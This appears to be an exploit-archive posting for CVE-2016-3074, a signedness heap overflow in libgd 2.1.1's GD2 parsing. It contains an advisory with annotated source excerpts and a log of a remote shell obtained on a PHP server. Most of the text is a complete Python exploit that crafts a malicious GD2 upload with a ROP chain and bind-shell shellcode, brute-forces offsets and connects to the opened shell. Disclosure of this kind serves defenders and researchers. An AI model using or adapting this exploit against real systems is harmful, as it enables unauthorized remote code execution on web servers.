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libgd 2.1.1 Signedness

libgd 2.1.1 Signedness
Posted Apr 21, 2016
Authored by Hans Jerry Illikainen

A signedness vulnerability exists in libgd version 2.1.1 which may result in a heap overflow when processing compressed gd2 data.

tags | exploit, overflow
advisories | CVE-2016-3074
MD5 | ac4ec412c1ea555ee8fa7938bfa468b2

libgd 2.1.1 Signedness

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Overview
========

libgd [1] is an open-source image library. It is perhaps primarily used
by the PHP project. It has been bundled with the default installation
of PHP since version 4.3 [2].

A signedness vulnerability (CVE-2016-3074) exist in libgd 2.1.1 which
may result in a heap overflow when processing compressed gd2 data.


Details
=======

4 bytes representing the chunk index size is stored in a signed integer,
chunkIdx[i].size, by `gdGetInt()' during the parsing of GD2 headers:

libgd-2.1.1/src/gd_gd2.c:
,----
| 53 typedef struct {
| 54 int offset;
| 55 int size;
| 56 }
| 57 t_chunk_info;
`----

libgd-2.1.1/src/gd_gd2.c:
,----
| 65 static int
| 66 _gd2GetHeader (gdIOCtxPtr in, int *sx, int *sy,
| 67 int *cs, int *vers, int *fmt, int *ncx, int *ncy,
| 68 t_chunk_info ** chunkIdx)
| 69 {
| ...
| 73 t_chunk_info *cidx;
| ...
| 155 if (gd2_compressed (*fmt)) {
| ...
| 163 for (i = 0; i < nc; i++) {
| ...
| 167 if (gdGetInt (&cidx[i].size, in) != 1) {
| 168 goto fail2;
| 169 };
| 170 };
| 171 *chunkIdx = cidx;
| 172 };
| ...
| 181 }
`----

`gdImageCreateFromGd2Ctx()' and `gdImageCreateFromGd2PartCtx()' then
allocates memory for the compressed data based on the value of the
largest chunk size:

libgd-2.1.1/src/gd_gd2.c:
,----
| 371|637 if (gd2_compressed (fmt)) {
| 372|638 /* Find the maximum compressed chunk size. */
| 373|639 compMax = 0;
| 374|640 for (i = 0; (i < nc); i++) {
| 375|641 if (chunkIdx[i].size > compMax) {
| 376|642 compMax = chunkIdx[i].size;
| 377|643 };
| 378|644 };
| 379|645 compMax++;
| ...|...
| 387|656 compBuf = gdCalloc (compMax, 1);
| ...|...
| 393|661 };
`----

A size of <= 0 results in `compMax' retaining its initial value during
the loop, followed by it being incremented to 1. Since `compMax' is
used as the nmemb for `gdCalloc()', this leads to a 1*1 byte allocation
for `compBuf'.

This is followed by compressed data being read to `compBuf' based on the
current (potentially negative) chunk size:

libgd-2.1.1/src/gd_gd2.c:
,----
| 339 BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2Ctx (gdIOCtxPtr in)
| 340 {
| ...
| 413 if (gd2_compressed (fmt)) {
| 414
| 415 chunkLen = chunkMax;
| 416
| 417 if (!_gd2ReadChunk (chunkIdx[chunkNum].offset,
| 418 compBuf,
| 419 chunkIdx[chunkNum].size,
| 420 (char *) chunkBuf, &chunkLen, in)) {
| 421 GD2_DBG (printf ("Error reading comproessed chunk\n"));
| 422 goto fail;
| 423 };
| 424
| 425 chunkPos = 0;
| 426 };
| ...
| 501 }
`----


libgd-2.1.1/src/gd_gd2.c:
,----
| 585 BGD_DECLARE(gdImagePtr) gdImageCreateFromGd2PartCtx (gdIOCtx * in, int srcx, int srcy, int w, int h)
| 586 {
| ...
| 713 if (!gd2_compressed (fmt)) {
| ...
| 731 } else {
| 732 chunkNum = cx + cy * ncx;
| 733
| 734 chunkLen = chunkMax;
| 735 if (!_gd2ReadChunk (chunkIdx[chunkNum].offset,
| 736 compBuf,
| 737 chunkIdx[chunkNum].size,
| 738 (char *) chunkBuf, &chunkLen, in)) {
| 739 printf ("Error reading comproessed chunk\n");
| 740 goto fail2;
| 741 };
| ...
| 746 };
| ...
| 815 }
`----

The size is subsequently interpreted as a size_t by `fread()' or
`memcpy()', depending on how the image is read:

libgd-2.1.1/src/gd_gd2.c:
,----
| 221 static int
| 222 _gd2ReadChunk (int offset, char *compBuf, int compSize, char *chunkBuf,
| 223 uLongf * chunkLen, gdIOCtx * in)
| 224 {
| ...
| 236 if (gdGetBuf (compBuf, compSize, in) != compSize) {
| 237 return FALSE;
| 238 };
| ...
| 251 }
`----

libgd-2.1.1/src/gd_io.c:
,----
| 211 int gdGetBuf(void *buf, int size, gdIOCtx *ctx)
| 212 {
| 213 return (ctx->getBuf)(ctx, buf, size);
| 214 }
`----


For file contexts:

libgd-2.1.1/src/gd_io_file.c:
,----
| 52 BGD_DECLARE(gdIOCtx *) gdNewFileCtx(FILE *f)
| 53 {
| ...
| 67 ctx->ctx.getBuf = fileGetbuf;
| ...
| 76 }
| ...
| 92 static int fileGetbuf(gdIOCtx *ctx, void *buf, int size)
| 93 {
| 94 fileIOCtx *fctx;
| 95 fctx = (fileIOCtx *)ctx;
| 96
| 97 return (fread(buf, 1, size, fctx->f));
| 98 }
`----


And for dynamic contexts:

libgd-2.1.1/src/gd_io_dp.c:
,----
| 74 BGD_DECLARE(gdIOCtx *) gdNewDynamicCtxEx(int initialSize, void *data, int freeOKFlag)
| 75 {
| ...
| 95 ctx->ctx.getBuf = dynamicGetbuf;
| ...
| 104 }
| ...
| 256 static int dynamicGetbuf(gdIOCtxPtr ctx, void *buf, int len)
| 257 {
| ...
| 280 memcpy(buf, (void *) ((char *)dp->data + dp->pos), rlen);
| ...
| 284 }
`----


PoC
===

Against Ubuntu 15.10 amd64 running nginx with php5-fpm and php5-gd [3]:

,----
| $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php
| [*] this may take a while
| [*] offset 912 of 10000...
| [+] connected to 1.2.3.4:5555
| id
| uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
| uname -a
| Linux wily64 4.2.0-35-generic #40-Ubuntu SMP Tue Mar 15 22:15:45 UTC
| 2016 x86_64 x86_64 x86_64 GNU/Linux
|
| dpkg -l|grep -E "php5-(fpm|gd)"
| ii php5-fpm 5.6.11+dfsg-1ubuntu3.1 ...
| ii php5-gd 5.6.11+dfsg-1ubuntu3.1 ...
|
| cat upload.php
| <?php
| imagecreatefromgd2($_FILES["file"]["tmp_name"]);
| ?>
`----


Solution
========

This bug has been fixed in git HEAD [4].



Footnotes
_________

[1] [http://libgd.org/]

[2] [https://en.wikipedia.org/wiki/Libgd]

[3] [https://github.com/dyntopia/exploits/tree/master/CVE-2016-3074]

[4] [https://github.com/libgd/libgd/commit/2bb97f407c1145c850416a3bfbcc8cf124e68a19]


--
Hans Jerry Illikainen


Proof of concept:

#!/usr/bin/env python2
#
# PoC for CVE-2016-3074 targeting Ubuntu 15.10 x86-64 with php5-gd and
# php5-fpm running behind nginx.
#
# ,----
# | $ python exploit.py --bind-port 5555 http://1.2.3.4/upload.php
# | [*] this may take a while
# | [*] offset 912 of 10000...
# | [+] connected to 1.2.3.4:5555
# | id
# | uid=33(www-data) gid=33(www-data) groups=33(www-data)
# |
# | uname -a
# | Linux wily64 4.2.0-35-generic #40-Ubuntu SMP Tue Mar 15 22:15:45 UTC
# | 2016 x86_64 x86_64 x86_64 GNU/Linux
# |
# | dpkg -l|grep -E "php5-(fpm|gd)"
# | ii php5-fpm 5.6.11+dfsg-1ubuntu3.1 ...
# | ii php5-gd 5.6.11+dfsg-1ubuntu3.1 ...
# |
# | cat upload.php
# | <?php
# | imagecreatefromgd2($_FILES["file"]["tmp_name"]);
# | ?>
# `----
#
# - Hans Jerry Illikainen
#
import sys
import os
import zlib
import socket
import threading
import argparse
import urlparse
from struct import pack

import requests

# non-optimized bindshell from binjitsu
#
# context(arch="amd64", os="linux")
# asm(shellcraft.bindsh(port, "ipv4"))
shellcode = [
"\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x52\xba",
"%(fam-and-port)s\x52\x6a\x10\x5a\x48\x89\xc5\x48\x89\xc7",
"\x6a\x31\x58\x48\x89\xe6\x0f\x05\x6a\x32\x58\x48\x89\xef",
"\x6a\x01\x5e\x0f\x05\x6a\x2b\x58\x48\x89\xef\x31\xf6\x99",
"\x0f\x05\x48\x89\xc5\x6a\x03\x5e\x48\xff\xce\x78\x0b\x56",
"\x6a\x21\x58\x48\x89\xef\x0f\x05\xeb\xef\x6a\x68\x48\xb8",
"\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x6a\x3b\x58\x48\x89",
"\xe7\x31\xf6\x99\x0f\x05"
]

gadgets = [
"\x90" * 40,

# [16]
#
# 0xb6eca2: popfq
# 0xb6eca3: callq *%rsp
pack("<Q", 0xb6eca2),

"%(pad)s",

# [2]
#
# 0x4dbe8c: add $0xd8,%rsp
# 0x4dbe93: retq
pack("<Q", 0x4dbe8c),

"\x90" * 48,

# [1]
#
# (gdb) x/x {void *}($rsp + 8)
# 0x12d7d60: 0x9090909090909090
#
# 0xa91f35: rex.WXB pop %r14
# 0xa91f37: mov $0x3,%bh
# 0xa91f39: pop %rsp
# 0xa91f3a: retq
pack("<Q", 0xa91f35),

"\x90" * 152,

# [0]
#
# (gdb) x/i $rip
# => 0x7f91acf61f46: callq *0x70(%rax)
#
# (gdb) x/gx 0x432b80
# 0x432b80: 0x0000000000547880
#
# (gdb) x/3i 0x0000000000547880
# 0x547880: push %rbx
# 0x547881: mov %rdi,%rbx
# 0x547884: callq *0x20(%rdi)
pack("<Q", 0x432b80 - 0x70),

# [3]
#
# 0x463e2c: pop %rbx
# 0x463e2d: retq
pack("<Q", 0x463e2c),

# [7]
#
# 0x463b1d: pop %r12
# 0x463b1f: retq
pack("<Q", 0x463b1d),

# [4]
#
# 0x473053: pop %rax
# 0x473054: retq
pack("<Q", 0x473053),

# [6]
#
# 0xa8bc37: push %rdx
# 0xa8bc38: jmpq *%rbx
pack("<Q", 0xa8bc37),

# [5]
#
# 0x7b2eaf: mov %r9,%rdx
# 0x7b2eb2: jmpq *%rax
pack("<Q", 0x7b2eaf),

# [8]
#
# 0x552768: mov %rdi,%rax
# 0x55276b: retq
pack("<Q", 0x552768),

# [9]
#
# 0x463e2c: pop %rbx
# 0x463e2d: retq
pack("<Q", 0x463e2c),
pack("<Q", 0xfffff000),

# [10]
#
# 0xb6c734: and %ebx,%eax
# 0xb6c736: es retq
pack("<Q", 0xb6c734),

# [11]
#
# 0x4c93e9: xchg %eax,%ebx
# 0x4c93ea: retq
pack("<Q", 0x4c93e9),

# [12]
#
# 0x406a08: pop %rcx (len, 0x5555)
# 0x406a09: retq
pack("<Q", 0x406a08),
pack("<Q", 0x5555),

# [13]
#
# 0xaf58fd: pop %rdx (PROT_READ|PROT_WRITE|PROT_EXEC)
# 0xaf58fe: retq
pack("<Q", 0xaf58fd),
pack("<Q", 7),

# [14]
#
# 0x473053: pop %rax (mprotect)
# 0x473054: retq
pack("<Q", 0x473053),
pack("<Q", 125),

# [15]
#
# 0x53f9f8: int $0x80
# 0x53f9fa: mov 0x38(%r12),%rsi
# 0x53f9ff: mov $0x8f,%edi
# 0x53fa04: callq *0x28(%r12)
pack("<Q", 0x53f9f8),

"\x90" * 100,
]

# gd.h: #define gdMaxColors 256
gd_max_colors = 256


def make_gd2(chunks):
gd2 = [
"gd2\x00", # signature
pack(">H", 2), # version
pack(">H", 1), # image size (x)
pack(">H", 1), # image size (y)
pack(">H", 0x40), # chunk size (0x40 <= cs <= 0x80)
pack(">H", 2), # format (GD2_FMT_COMPRESSED)
pack(">H", 1), # num of chunks wide
pack(">H", len(chunks)) # num of chunks high
]
colors = [
pack(">B", 0), # trueColorFlag
pack(">H", 0), # im->colorsTotal
pack(">I", 0), # im->transparent
pack(">I", 0) * gd_max_colors # red[i], green[i], blue[i], alpha[i]
]

offset = len("".join(gd2)) + len("".join(colors)) + len(chunks) * 8
for data, size in chunks:
gd2.append(pack(">I", offset)) # cidx[i].offset
gd2.append(pack(">I", size)) # cidx[i].size
offset += size

return "".join(gd2 + colors + [data for data, size in chunks])


def connect(host, port):
addr = socket.gethostbyname(host)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((addr, port))
except socket.error:
return

print("\n[+] connected to %s:%d" % (host, port))
if os.fork() == 0:
while True:
try:
data = sock.recv(8192)
except KeyboardInterrupt:
sys.exit("\n[!] receiver aborting")
if data == "":
sys.exit("[!] receiver aborting")
sys.stdout.write(data)
else:
while True:
try:
cmd = sys.stdin.readline()
except KeyboardInterrupt:
sock.close()
sys.exit("[!] sender aborting")
sock.send(cmd)


def send_gd2(url, gd2, code):
files = {"file": gd2}
try:
req = requests.post(url, files=files, timeout=5)
code.append(req.status_code)
except requests.exceptions.ReadTimeout:
pass


def get_payload(offset, port):
rop = "".join(gadgets) % {"pad": "\x90" * offset}

fam_and_port = pack("<I", (socket.AF_INET | (socket.htons(port) << 16)))
sc = "".join(shellcode) % {"fam-and-port": fam_and_port}

return rop + sc


def get_args():
p = argparse.ArgumentParser()
p.add_argument("--threads", type=int, default=20)
p.add_argument("--bind-port", type=int, default=8000)
p.add_argument("--offsets", type=int, default=[0, 10000], nargs=2)
p.add_argument("url")
return p.parse_args()


def main():
args = get_args()
host = urlparse.urlparse(args.url).netloc.split(":")[0]

print("[*] this may take a while")
for i in range(args.offsets[0], args.offsets[1]):
sys.stdout.write("\r[*] offset %d of %d..." % (i, args.offsets[1]))
sys.stdout.flush()

valid = zlib.compress("A" * 100, 0)
payload = get_payload(i, args.bind_port)
gd2 = make_gd2([(valid, len(valid)), (payload, 0xffffffff)])

threads = []
code = []
for _ in range(args.threads):
t = threading.Thread(target=send_gd2, args=(args.url, gd2, code))
t.start()
threads.append(t)

for t in threads:
t.join()

if 404 in code:
sys.exit("\n[-] 404: %s" % args.url)
connect(host, args.bind_port)

print("\n[-] nope...")

if __name__ == "__main__":
main()


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